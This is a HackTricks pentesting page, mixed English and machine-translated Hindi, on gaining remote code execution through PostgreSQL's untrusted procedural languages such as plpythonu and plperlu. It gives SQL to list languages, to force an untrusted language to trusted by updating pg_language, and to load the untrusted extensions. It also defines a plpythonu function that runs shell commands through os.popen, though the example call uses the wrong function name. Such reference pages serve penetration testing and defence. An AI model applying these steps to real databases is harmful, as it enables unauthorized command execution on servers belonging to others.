RCE with PostgreSQL Languages

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

PostgreSQL Languages

आपके पास जो PostgreSQL डेटाबेस है, उसमें विभिन्न स्क्रिप्टिंग भाषाएँ स्थापित हो सकती हैं, जिनका आप मनमाने कोड को निष्पादित करने के लिए दुरुपयोग कर सकते हैं।

आप उन्हें चलाने के लिए कर सकते हैं:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Most of the scripting languages you can install in PostgreSQL have 2 flavours: the trusted and the untrusted. The untrusted will have a name ended in "u" and will be the version that will allow you to execute code and use other interesting functions. This are languages that if installed are interesting:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (any other programming language using an insecure version)

यदि आप पाते हैं कि एक दिलचस्प भाषा स्थापित है लेकिन PostgreSQL द्वारा अविश्वसनीय है (lanpltrusted false है) तो आप इसे विश्वसनीय बनाने के लिए निम्नलिखित पंक्ति का प्रयास कर सकते हैं ताकि PostgreSQL द्वारा कोई प्रतिबंध लागू न हो:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

यदि आप एक भाषा नहीं देखते हैं, तो आप इसे लोड करने की कोशिश कर सकते हैं (आपको सुपरएडमिन होना चाहिए):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

ध्यान दें कि सुरक्षित संस्करणों को "असुरक्षित" के रूप में संकलित करना संभव है। उदाहरण के लिए यहाँ देखें। इसलिए यह हमेशा प्रयास करने लायक है कि क्या आप कोड निष्पादित कर सकते हैं, भले ही आप केवल विश्वसनीय संस्करण स्थापित पाएँ।

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

निम्नलिखित पृष्ठ की जांच करें:

PL/pgSQL Password Bruteforce

C

निम्नलिखित पृष्ठ की जांच करें:

RCE with PostgreSQL Extensions

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Last updated